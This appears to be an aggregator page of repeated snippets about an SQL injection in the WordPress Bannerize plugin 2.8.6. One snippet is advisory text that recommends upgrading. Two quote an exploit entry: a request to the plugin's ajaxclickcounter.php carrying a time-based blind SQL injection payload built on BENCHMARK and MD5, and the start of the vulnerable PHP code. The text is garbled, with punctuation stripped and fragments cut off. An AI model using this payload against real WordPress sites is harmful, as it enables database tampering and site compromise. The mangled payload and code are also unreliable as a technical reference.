WordPress Plugin Bannerize 2.8.6 - SQL Injection

WordPress Plugin Bannerize 2.8.6 - SQL Injection Exploit Title: WordPress WP Bannerize plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajaxclickcounter.php --------------- Vulnerable code...

WordPress Bannerize Plugin <= 2.8.6 - SQL Injection

Bannerize plugin is prone to an SQL injection. This vulnerability allows an attacker to modify data, alter queries to the application SQL database, compromise the access and application or exploit hidden vulnerabilities in the underlying database. Solution Upgrade the plugin...

WordPress Plugin Bannerize 2.8.6 - SQL Injection

Exploit Title: WordPress WP Bannerize plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajaxclickcounter.php --------------- Vulnerable code --------------- if @isset$SERVER'HTTPXREQUESTEDWITH'...